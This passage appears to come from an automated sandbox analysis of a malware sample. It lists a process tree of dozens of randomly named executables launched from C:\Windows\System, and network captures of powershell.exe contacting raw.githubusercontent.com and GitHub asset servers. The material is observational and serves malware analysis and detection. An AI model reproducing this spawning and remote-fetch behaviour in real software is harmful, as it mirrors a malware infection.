  C:\Windows\System\lvduAqq.exe
  2⤵
  PID:13412
- C:\Windows\System\VhUgeXn.exe
  C:\Windows\System\VhUgeXn.exe
  2⤵
  PID:13368
- C:\Windows\System\IRivsWf.exe
  C:\Windows\System\IRivsWf.exe
  2⤵
  PID:13520
- C:\Windows\System\yLmSujc.exe
  C:\Windows\System\yLmSujc.exe
  2⤵
  PID:13544
- C:\Windows\System\fTorGLV.exe
  C:\Windows\System\fTorGLV.exe
  2⤵
  PID:13564
- C:\Windows\System\tyPstKC.exe
  C:\Windows\System\tyPstKC.exe
  2⤵
  PID:13584
- C:\Windows\System\BKCnMtT.exe
  C:\Windows\System\BKCnMtT.exe
  2⤵
  PID:13504
- C:\Windows\System\jqWUaFL.exe
  C:\Windows\System\jqWUaFL.exe
  2⤵
  PID:13692
- C:\Windows\System\VNkeWRy.exe
  C:\Windows\System\VNkeWRy.exe
  2⤵
  PID:13764
- C:\Windows\System\RnSLvHl.exe
  C:\Windows\System\RnSLvHl.exe
  2⤵
  PID:13780
- C:\Windows\System\TrIWtFw.exe
  C:\Windows\System\TrIWtFw.exe
  2⤵
  PID:13812
- C:\Windows\System\hhoxFoC.exe
  C:\Windows\System\hhoxFoC.exe
  2⤵
  PID:13832
- C:\Windows\System\DGHhPGG.exe
  C:\Windows\System\DGHhPGG.exe
  2⤵
  PID:13876
- C:\Windows\System\WiTINVq.exe
  C:\Windows\System\WiTINVq.exe
  2⤵
  PID:13856
- C:\Windows\System\EffUquu.exe
  C:\Windows\System\EffUquu.exe
  2⤵
  PID:13940
- C:\Windows\System\KczTTGm.exe
  C:\Windows\System\KczTTGm.exe
  2⤵
  PID:13964
- C:\Windows\System\OwoVoFJ.exe
  C:\Windows\System\OwoVoFJ.exe
  2⤵
  PID:13980
- C:\Windows\System\uSfUxxt.exe
  C:\Windows\System\uSfUxxt.exe
  2⤵
  PID:14072
- C:\Windows\System\UfnGJKt.exe
  C:\Windows\System\UfnGJKt.exe
  2⤵
  PID:14188
- C:\Windows\System\nnGSBYT.exe
  C:\Windows\System\nnGSBYT.exe
  2⤵
  PID:14244
- C:\Windows\System\PWmzuUJ.exe
  C:\Windows\System\PWmzuUJ.exe
  2⤵
  PID:9604
- C:\Windows\System\AqdLPSv.exe
  C:\Windows\System\AqdLPSv.exe
  2⤵
  PID:3520
- C:\Windows\System\aSFDGhu.exe
  C:\Windows\System\aSFDGhu.exe
  2⤵
  PID:14320
- C:\Windows\System\rVDWGYO.exe
  C:\Windows\System\rVDWGYO.exe
  2⤵
  PID:14292
- C:\Windows\System\jUhPgmS.exe
  C:\Windows\System\jUhPgmS.exe
  2⤵
  PID:14220
- C:\Windows\System\GnxdAHr.exe
  C:\Windows\System\GnxdAHr.exe
  2⤵
  PID:13476
- C:\Windows\System\lgCGAhF.exe
  C:\Windows\System\lgCGAhF.exe
  2⤵
  PID:9240
- C:\Windows\System\IXaWWZe.exe
  C:\Windows\System\IXaWWZe.exe
  2⤵
  PID:13456
- C:\Windows\System\FosBSpa.exe
  C:\Windows\System\FosBSpa.exe
  2⤵
  PID:13376
- C:\Windows\System\eYLEBGM.exe
  C:\Windows\System\eYLEBGM.exe
  2⤵
  PID:13352
- C:\Windows\System\DLQAyhr.exe
  C:\Windows\System\DLQAyhr.exe
  2⤵
  PID:14160
- C:\Windows\System\CgNYnIH.exe
  C:\Windows\System\CgNYnIH.exe
  2⤵
  PID:14136
- C:\Windows\System\FjiGXHZ.exe
  C:\Windows\System\FjiGXHZ.exe
  2⤵
  PID:14116
- C:\Windows\System\XeNaIPe.exe
  C:\Windows\System\XeNaIPe.exe
  2⤵
  PID:14096
- C:\Windows\System\lcGkuLW.exe
  C:\Windows\System\lcGkuLW.exe
  2⤵
  PID:14052
- C:\Windows\System\YNHTiuv.exe
  C:\Windows\System\YNHTiuv.exe
  2⤵
  PID:14032
- C:\Windows\System\kBrtegv.exe
  C:\Windows\System\kBrtegv.exe
  2⤵
  PID:14004
- C:\Windows\System\unqMElM.exe
  C:\Windows\System\unqMElM.exe
  2⤵
  PID:13920
- C:\Windows\System\pNWfFsg.exe
  C:\Windows\System\pNWfFsg.exe
  2⤵
  PID:13896
- C:\Windows\System\kgIvNlh.exe
  C:\Windows\System\kgIvNlh.exe
  2⤵
  PID:13728
- C:\Windows\System\UNCFHFI.exe
  C:\Windows\System\UNCFHFI.exe
  2⤵
  PID:9380
- C:\Windows\System\JqtFhZS.exe
  C:\Windows\System\JqtFhZS.exe
  2⤵
  PID:13680
- C:\Windows\System\qXJSKvB.exe
  C:\Windows\System\qXJSKvB.exe
  2⤵
  PID:4040
- C:\Windows\System\umvxTUp.exe
  C:\Windows\System\umvxTUp.exe
  2⤵
  PID:4592
- C:\Windows\System\TCJyUkK.exe
  C:\Windows\System\TCJyUkK.exe
  2⤵
  PID:13776
- C:\Windows\System\DDOUyOW.exe
  C:\Windows\System\DDOUyOW.exe
  2⤵
  PID:4888
- C:\Windows\System\aKQLEeO.exe
  C:\Windows\System\aKQLEeO.exe
  2⤵
  PID:13872
- C:\Windows\System\skDyoTJ.exe
  C:\Windows\System\skDyoTJ.exe
  2⤵
  PID:13972
- C:\Windows\System\nNfhdNs.exe
  C:\Windows\System\nNfhdNs.exe
  2⤵
  PID:468
- C:\Windows\System\gLQZtgM.exe
  C:\Windows\System\gLQZtgM.exe
  2⤵
  PID:14152
- C:\Windows\System\duexjWS.exe
  C:\Windows\System\duexjWS.exe
  2⤵
  PID:14148
- C:\Windows\System\SmGoMhR.exe
  C:\Windows\System\SmGoMhR.exe
  2⤵
  PID:14108
- C:\Windows\System\txazMLM.exe
  C:\Windows\System\txazMLM.exe
  2⤵
  PID:2072
- C:\Windows\System\gaBKAZo.exe
  C:\Windows\System\gaBKAZo.exe
  2⤵
  PID:13404
- C:\Windows\System\LuLJDmW.exe
  C:\Windows\System\LuLJDmW.exe
  2⤵
  PID:14236
- C:\Windows\System\pwNhXeM.exe
  C:\Windows\System\pwNhXeM.exe
  2⤵
  PID:14300
- C:\Windows\System\kEQJJTS.exe
  C:\Windows\System\kEQJJTS.exe
  2⤵
  PID:10156
- C:\Windows\System\ZJidAZB.exe
  C:\Windows\System\ZJidAZB.exe
  2⤵
  PID:14200
- C:\Windows\System\lHGsSbm.exe
  C:\Windows\System\lHGsSbm.exe
  2⤵
  PID:14048
- C:\Windows\System\ueqkSiz.exe
  C:\Windows\System\ueqkSiz.exe
  2⤵
  PID:1184
- C:\Windows\System\mcHBggK.exe
  C:\Windows\System\mcHBggK.exe
  2⤵
  PID:13468
- C:\Windows\System\EOhjUHx.exe
  C:\Windows\System\EOhjUHx.exe
  2⤵
  PID:13724
- C:\Windows\System\fFnWGCj.exe
  C:\Windows\System\fFnWGCj.exe
  2⤵
  PID:3316
- C:\Windows\System\YzHCGji.exe
  C:\Windows\System\YzHCGji.exe
  2⤵
  PID:10172
- C:\Windows\System\dhtdrxa.exe
  C:\Windows\System\dhtdrxa.exe
  2⤵
  PID:13804
- C:\Windows\System\hxgkkSU.exe
  C:\Windows\System\hxgkkSU.exe
  2⤵
  PID:10628
- C:\Windows\System\DWaNEfN.exe
  C:\Windows\System\DWaNEfN.exe
  2⤵
  PID:13840
- C:\Windows\System\fvTKSjV.exe
  C:\Windows\System\fvTKSjV.exe
  2⤵
  PID:10116
- C:\Windows\System\oipZITt.exe
  C:\Windows\System\oipZITt.exe
  2⤵
  PID:13608
- C:\Windows\System\JfvkZvZ.exe
  C:\Windows\System\JfvkZvZ.exe
  2⤵
  PID:10584
- C:\Windows\System\QmxYuGh.exe
  C:\Windows\System\QmxYuGh.exe
  2⤵
  PID:10956
- C:\Windows\System\OxFWeCW.exe
  C:\Windows\System\OxFWeCW.exe
  2⤵
  PID:11000
- C:\Windows\System\FUGKltf.exe
  C:\Windows\System\FUGKltf.exe
  2⤵
  PID:4188
- C:\Windows\System\kgvJZhj.exe
  C:\Windows\System\kgvJZhj.exe
  2⤵
  PID:13740
- C:\Windows\System\bWfJbfa.exe
  C:\Windows\System\bWfJbfa.exe
  2⤵
  PID:10092
- C:\Windows\System\FvWckJI.exe
  C:\Windows\System\FvWckJI.exe
  2⤵
  PID:14060
- C:\Windows\System\xcUSGnl.exe
  C:\Windows\System\xcUSGnl.exe
  2⤵
  PID:14092
- C:\Windows\System\gPgfivs.exe
  C:\Windows\System\gPgfivs.exe
  2⤵
  PID:3584
- C:\Windows\System\wwIeRwl.exe
  C:\Windows\System\wwIeRwl.exe
  2⤵
  PID:10436
- C:\Windows\System\nFyBnBj.exe
  C:\Windows\System\nFyBnBj.exe
  2⤵
  PID:10484
- C:\Windows\System\QFCfTKz.exe
  C:\Windows\System\QFCfTKz.exe
  2⤵
  PID:13516
- C:\Windows\System\nzMRmQA.exe
  C:\Windows\System\nzMRmQA.exe
  2⤵
  PID:11064
- C:\Windows\System\LnyFTFb.exe
  C:\Windows\System\LnyFTFb.exe
  2⤵
  PID:10528
- C:\Windows\System\baatkFn.exe
  C:\Windows\System\baatkFn.exe
  2⤵
  PID:11040
- C:\Windows\System\bSjknyK.exe
  C:\Windows\System\bSjknyK.exe
  2⤵
  PID:13752
- C:\Windows\System\pnTEiFm.exe
  C:\Windows\System\pnTEiFm.exe
  2⤵
  PID:11164
- C:\Windows\System\XeYELil.exe
  C:\Windows\System\XeYELil.exe
  2⤵
  PID:12292
- C:\Windows\System\HSLJoth.exe
  C:\Windows\System\HSLJoth.exe
  2⤵
  PID:14028
- C:\Windows\System\tTAKIdP.exe
  C:\Windows\System\tTAKIdP.exe
  2⤵
  PID:10792
- C:\Windows\System\mWmtNnr.exe
  C:\Windows\System\mWmtNnr.exe
  2⤵
  PID:13788
- C:\Windows\System\zYXVkjL.exe
  C:\Windows\System\zYXVkjL.exe
  2⤵
  PID:10408
- C:\Windows\System\dNDVrio.exe
  C:\Windows\System\dNDVrio.exe
  2⤵
  PID:2096
- C:\Windows\System\uIYhTtE.exe
  C:\Windows\System\uIYhTtE.exe
  2⤵
  PID:232
- C:\Windows\System\qrelWqi.exe
  C:\Windows\System\qrelWqi.exe
  2⤵
  PID:10968
- C:\Windows\System\EZxuIim.exe
  C:\Windows\System\EZxuIim.exe
  2⤵
  PID:13600
- C:\Windows\System\qWioTOr.exe
  C:\Windows\System\qWioTOr.exe
  2⤵
  PID:9480
- C:\Windows\System\LPvIDhd.exe
  C:\Windows\System\LPvIDhd.exe
  2⤵
  PID:10468
- C:\Windows\System\JRkkeCf.exe
  C:\Windows\System\JRkkeCf.exe
  2⤵
  PID:10064
- C:\Windows\System\QFLdVRj.exe
  C:\Windows\System\QFLdVRj.exe
  2⤵
  PID:13684

Network

DNS

126.209.247.8.in-addr.arpa

Remote address:

8.8.8.8:53

Request

126.209.247.8.in-addr.arpa

IN PTR

Response
DNS

raw.githubusercontent.com

powershell.exe

Remote address:

8.8.8.8:53

Request

raw.githubusercontent.com

IN A

Response

raw.githubusercontent.com

IN A

185.199.110.133

raw.githubusercontent.com

IN A

185.199.109.133

raw.githubusercontent.com

IN A

185.199.111.133

raw.githubusercontent.com

IN A

185.199.108.133
GET

https://raw.githubusercontent.com/

powershell.exe

Remote address:

185.199.110.133:443

Request

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: raw.githubusercontent.com
Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently

Connection: keep-alive
Content-Length: 0
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Location: https://github.com/
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: 8ACA:56FA:2AE8699:2CCC25E:65071660
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:26 GMT
Via: 1.1 varnish
X-Served-By: cache-ams21069-AMS
X-Cache: HIT
X-Cache-Hits: 6
X-Timer: S1694965347.751327,VS0,VE0
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: d0401a8e3010dc7e82caa8143f4dc029afa0c223
Expires: Sun, 17 Sep 2023 15:47:26 GMT
Source-Age: 2050
DNS

github.com

powershell.exe

Remote address:

8.8.8.8:53

Request

github.com

IN A

Response

github.com

IN A

140.82.114.3
GET

https://github.com/

powershell.exe

Remote address:

140.82.114.3:443

Request

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: github.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: GitHub.com
Date: Sun, 17 Sep 2023 15:42:28 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Language, Accept-Encoding, Accept, X-Requested-With
content-language: en-US
ETag: W/"5e40e44ad78f7be39e8d35be58682bd5"
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events objects-origin.githubusercontent.com *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com github.githubassets.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com support.github.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github.githubassets.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Set-Cookie: _gh_sess=wVSVHWrYfIWH0JaJO5Zd%2FIaqQwlaYRlWlJZhuCIlGlbuOGyQrktK7WNAb8X%2Fpo%2FEqDx1DDN1E%2F3oyUOhINtzGRB7yAlgQWddlaVCjGxPkashXlN69i2BKNf%2FUfe5xG9f2N7PrLfCk8f28xcXmhK%2FZb8PU0gRFH6hrcYw4f1kM2d1I9cPXBFU4H59eBpcAznbdI%2FucZX%2FpS48zgxXUuGuXYl8c7R58rrWrbbqV672AAIbqKqXAZ64EVQKOoJVcfWtIQmMc335Bv2nFZVFTqL3Jw%3D%3D--%2BLIgb7ARR3SnBPqa--trAv8oZfmFbpLSLZUSppKw%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: _octo=GH1.1.1711758348.1694965348; Path=/; Domain=github.com; Expires=Tue, 17 Sep 2024 15:42:28 GMT; Secure; SameSite=Lax
Set-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Tue, 17 Sep 2024 15:42:28 GMT; HttpOnly; Secure; SameSite=Lax
Accept-Ranges: bytes
Transfer-Encoding: chunked
X-GitHub-Request-Id: DBAC:12F0:1234405:1872D26:65071E63
DNS

github.githubassets.com

powershell.exe

Remote address:

8.8.8.8:53

Request

github.githubassets.com

IN A

Response

github.githubassets.com

IN A

185.199.108.154

github.githubassets.com

IN A

185.199.109.154

github.githubassets.com

IN A

185.199.110.154

github.githubassets.com

IN A

185.199.111.154
GET

https://github.githubassets.com/assets/light-a09cef873428.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/light-a09cef873428.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 5117
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 13 Sep 2023 15:43:06 GMT
ETag: "4da722e789ca07a76d07dc7ea1da6764"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:31 GMT
Age: 345426
X-Served-By: cache-iad-kiad7000063-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 20, 29552
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 1ecce306530ec9d21a71b5ac1300120965e6193a
GET

https://github.githubassets.com/assets/primer-903aefe99058.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/primer-903aefe99058.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 45123
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 13 Sep 2023 15:43:10 GMT
ETag: "09ab1534275d524b12889eae60283caf"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:31 GMT
Age: 345428
X-Served-By: cache-iad-kjyo7100135-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 25, 32035
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: e3c47469aa66ea5194ee9007d14fe4f22ac48c31
GET

https://github.githubassets.com/assets/github-eb793512a19a.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/github-eb793512a19a.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 32949
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 15 Sep 2023 18:26:57 GMT
ETag: "a5533a815e361ba4d984f4577a4bb606"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:31 GMT
Age: 162787
X-Served-By: cache-iad-kiad7000146-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 33, 12105
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 552d3b11ed165c091500201d2d385a671f2aa33f
GET

https://github.githubassets.com/assets/discussions-8c34e5e343ae.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/discussions-8c34e5e343ae.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 1426
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 22 Jun 2023 03:13:12 GMT
ETag: "65f4c1add44acc66a021e1c8c2da63dc"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 7561559
X-Served-By: cache-iad-kiad7000033-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 11, 34497
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c533d40989cc4a0d05a22bbb97a6fc44da05b87a
GET

https://github.githubassets.com/assets/home-7eb364e46344.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/home-7eb364e46344.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 5661
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 27 Jun 2023 02:02:16 GMT
ETag: "d8d1e6e200c617d3a8a8f65a60e54b8a"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 7133834
X-Served-By: cache-iad-kcgs7200063-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 47, 17450
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 378e461295afe64c149761388456d295d514898a
GET

https://github.githubassets.com/assets/wp-runtime-a3f04416c592.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/wp-runtime-a3f04416c592.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 10041
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 15 Sep 2023 23:09:23 GMT
ETag: "93120b8df88f535fe46ce01c224ebf66"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 145846
X-Served-By: cache-iad-kiad7000080-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 8, 10984
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 4997afe1d98bd1800e01c14872264268ff013a53
GET

https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-18bf85b8e9f4.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-18bf85b8e9f4.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4700
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 14 Aug 2023 21:21:26 GMT
ETag: "55f75aaa5a368bacaad77f9a4e457cd7"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 123996
X-Served-By: cache-iad-kiad7000169-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 35, 7179
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 54d1cc156269645ddc1ad43f6d82cf570fd0d794
GET

https://github.githubassets.com/assets/environment-509b58e05b9f.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/environment-509b58e05b9f.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 5288
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 14 Aug 2023 17:04:50 GMT
ETag: "eeb5e633860f2a77e56ba06caae25a00"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 124001
X-Served-By: cache-iad-kcgs7200116-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 43, 7206
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: a329c4e621ab15265b0a9315316a6162473cc527
GET

https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-d55308df5023.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-d55308df5023.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3318
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 02 Mar 2023 01:06:23 GMT
ETag: "2cae799f07ba986431625c4e784f1f99"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 123998
X-Served-By: cache-iad-kiad7000037-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 24, 7054
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
